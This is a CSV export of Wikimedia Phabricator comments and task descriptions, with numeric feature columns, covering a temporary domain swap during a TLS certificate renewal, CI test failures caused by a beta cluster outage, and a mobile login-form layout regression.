526886,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"The ECDSA re-issue was much quicker than expected (must be automated now for simple cases), so the last bit is reverted back to normal now.",,,1442254313,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,3.0,0.0,0.0,6.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,13.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.7096774193548385,0.967741935483871,"The ECDSA re-issue was much quicker than expected (must be automated now for simple cases), so the last bit is reverted back to normal now."
526876,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Everything's reverted back to a normal state on the new cert now, with the exception of:

https://gerrit.wikimedia.org/r/#/c/238195/ (RSA-only)

which is pending the ""reissue"" of the new cert as ECDSA to switch back to dual-cert.",,,1442253820,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,17.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3125,0.7291666666666666,"Everything's reverted back to a normal state on the new cert now, with the exception of:

URL (RSA-only)

which is pending the ""reissue"" of the new cert as ECDSA to switch back to dual-cert."
526871,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238199 merged by BBlack:
Revert ""add phab.wikidata.org temporarily T112381""

[[https://gerrit.wikimedia.org/r/238199]]",,,1442253291,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.5,0.85,"Change 238199 merged by BBlack:
Revert ""add phab.wikidata.org temporarily T112381""

[[GERRIT_URL]]"
526870,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"The reason we avoided wikimedia.org is the same reason this domain exists at all: it's a known security problem if phab loads user-defined content from wikimedia.org, right?  Otherwise I assume we'd never have created this domain and just used e.g. phab-static.wikimedia.org to begin with.

I just put the renewed cert into place.",,,1442253208,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,6.0,0.0,11.0,10.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,6.0,2.0,6.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,10.0,2.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,4.444444444444445,0.8571428571428571,"The reason we avoided wikimedia.org is the same reason this domain exists at all: it's a known security problem if phab loads user-defined content from wikimedia.org, right?  Otherwise I assume we'd never have created this domain and just used e.g. phab-static.wikimedia.org to begin with.

I just put the renewed cert into place."
526867,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238199 had a related patch set uploaded (by BBlack):
Revert ""add phab.wikidata.org temporarily T112381""

[[https://gerrit.wikimedia.org/r/238199]]
",,,1442252996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.222222222222222,0.8518518518518519,"Change 238199 had a related patch set uploaded (by BBlack):
Revert ""add phab.wikidata.org temporarily T112381""

[[GERRIT_URL]]
"
526866,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238196 merged by BBlack:
Revert ""switch phab altdom to phab.wikidata.org T112381""

[[https://gerrit.wikimedia.org/r/238196]]",,,1442252722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.2727272727272725,0.8636363636363636,"Change 238196 merged by BBlack:
Revert ""switch phab altdom to phab.wikidata.org T112381""

[[GERRIT_URL]]"
526865,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 238196 had a related patch set uploaded (by BBlack):
Revert ""switch phab altdom to phab.wikidata.org T112381""

[[https://gerrit.wikimedia.org/r/238196]]
",,,1442252706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.068965517241379,0.8620689655172413,"Change 238196 had a related patch set uploaded (by BBlack):
Revert ""switch phab altdom to phab.wikidata.org T112381""

[[GERRIT_URL]]
"
526649,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"If we ever do this again in the future, let's use a wikimedia.org domain ( longer history of segmenting untrusted subdomains).

@Bblack, do you have an eta from GlobalSign yet?",,,1442240154,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,8.0,11.0,3.0,3.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,3.0,4.081081081081081,0.9459459459459459,"If we ever do this again in the future, let's use a wikimedia.org domain ( longer history of segmenting untrusted subdomains).
SCREEN_NAME, do you have an eta from GlobalSign yet?"
525989,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,Nope,,,1442087854,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Nope
525988,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,@BBlack: is the renewal still not done yet?,,,1442087495,,PHID-USER-e7a5lnjpgncgdxknmdxb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,SCREEN_NAME: is the renewal still not done yet?
525983,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Just like *.wikipedia.org, putting it at *.wikivoyage.org would have given Phabricator access to production MediaWiki cookies. *.wikidata.org is not trusted like that AFAIK.",,,1442086691,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,10.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.206896551724138,0.8620689655172413,"Just like *.wikipedia.org, putting it at *.wikivoyage.org would have given Phabricator access to production MediaWiki cookies. *.wikidata.org is not trusted like that AFAIK."
525941,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,@Luke081515 There where some concerns about wikivoyage isolation between subdomains; we believe wikidata domains are more independent from each other and could create less problems (and any would work until a permanent solution is rolled in).,,,1442076961,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,8.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,5.175,0.975,SCREEN_NAME There where some concerns about wikivoyage isolation between subdomains; we believe wikidata domains are more independent from each other and could create less problems (and any would work until a permanent solution is rolled in).
525939,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,Why switched between wikivoyage and wikidata?,,,1442076092,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.714285714285714,1.0,Why switched between wikivoyage and wikidata?
525917,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237920 merged by BBlack:
switch phab altdom to phab.wikidata.org T112381

[[https://gerrit.wikimedia.org/r/237920]]",,,1442072802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.526315789473684,0.8947368421052632,"Change 237920 merged by BBlack:
switch phab altdom to phab.wikidata.org T112381

[[GERRIT_URL]]"
525916,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237920 had a related patch set uploaded (by BBlack):
switch phab altdom to phab.wikidata.org T112381

[[https://gerrit.wikimedia.org/r/237920]]
",,,1442072780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.230769230769231,0.8846153846153846,"Change 237920 had a related patch set uploaded (by BBlack):
switch phab altdom to phab.wikidata.org T112381

[[GERRIT_URL]]
"
525915,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237919 merged by BBlack:
add phab.wikidata.org temporarily T112381

[[https://gerrit.wikimedia.org/r/237919]]",,,1442072699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.823529411764706,0.8823529411764706,"Change 237919 merged by BBlack:
add phab.wikidata.org temporarily T112381

[[GERRIT_URL]]"
525914,Undo phab.wikidata.org hacks after wmfusercontent.org cert is fixed,"Change 237919 had a related patch set uploaded (by BBlack):
add phab.wikidata.org temporarily T112381

[[https://gerrit.wikimedia.org/r/237919]]
",,,1442072678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jze2h4izvnplxdtkizb,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.416666666666667,0.875,"Change 237919 had a related patch set uploaded (by BBlack):
add phab.wikidata.org temporarily T112381

[[GERRIT_URL]]
"
112118,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),"Did we change a password and forget to update it on our builds?
Several of the MobileFrontend tests are now failing with unexpected HTTP response (403) (MediawikiApi::HttpError)
e.g. https://integration.wikimedia.org/ci/job/browsertests-MobileFrontend-SmokeTests-linux-chrome-sauce/256/
",High,80.0,1441902053,1441988062.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-3w2eekvz4sbxnracaykf,task_description,resolved,True,c3,3,True,False,True,10,True,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,8.0,11.0,8.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.351351351351352,0.8918918918918919,"Did we change a password and forget to update it on our builds?
Several of the MobileFrontend tests are now failing with unexpected HTTP response (403) (MediawikiApi::HttpError)
e.g. URL
"
525326,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),Thanks!,,,1441989327,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-3w2eekvz4sbxnracaykf,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Thanks!
525293,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),"Looks like beta cluster was down, but it is fixed now: http://saucelabs.com/jobs/010fbfccb01c497badb0dc344f689c62",,,1441988053,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3w2eekvz4sbxnracaykf,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,1.0,"Looks like beta cluster was down, but it is fixed now: URL"
525290,Permission problems unexpected HTTP response (403) (MediawikiApi::HttpError),The build is back to green: https://integration.wikimedia.org/ci/job/browsertests-MobileFrontend-SmokeTests-linux-chrome-sauce/257/consoleFull,,,1441987866,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3w2eekvz4sbxnracaykf,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,The build is back to green: URL
111460,Regression: Login form below fold under login prompt on Wiktionary login page,"Login form below fold on Wiktionary and possibly other projects. That suggests this may decrease login rates (it did when the submit button dropped below the fold for Special:Mobileoptions)

Visit https://en.wiktionary.org/wiki/Special:UserLogin?mobileaction=beta&useformat=mobile which forces the use of the core login form to see this.
{F2538485}

On the short term we should hide this big chunk of text on mobile screens (either in UserMerge extension or MobileFrontend).
On long term UserMerge will need to be a bit more clever with its placement.",High,80.0,1441318869,1442432229.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_description,resolved,True,c3,3,True,True,True,9,True,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,14.0,0.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,1.0,1.0,0.0,2.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,6.0,1.0,14.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,14.0,7.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,4.125,0.7604166666666666,"Login form below fold on Wiktionary and possibly other projects. That suggests this may decrease login rates (it did when the submit button dropped below the fold for Special:Mobileoptions)

Visit URL which forces the use of the core login form to see this.
{F2538485}

On the short term we should hide this big chunk of text on mobile screens (either in UserMerge extension or MobileFrontend).
On long term UserMerge will need to be a bit more clever with its placement."
528819,Regression: Login form below fold under login prompt on Wiktionary login page,Confirmed as fixed.,,,1442432229,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-n7qxvs2vpqzmtlhmmgrx,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Confirmed as fixed.
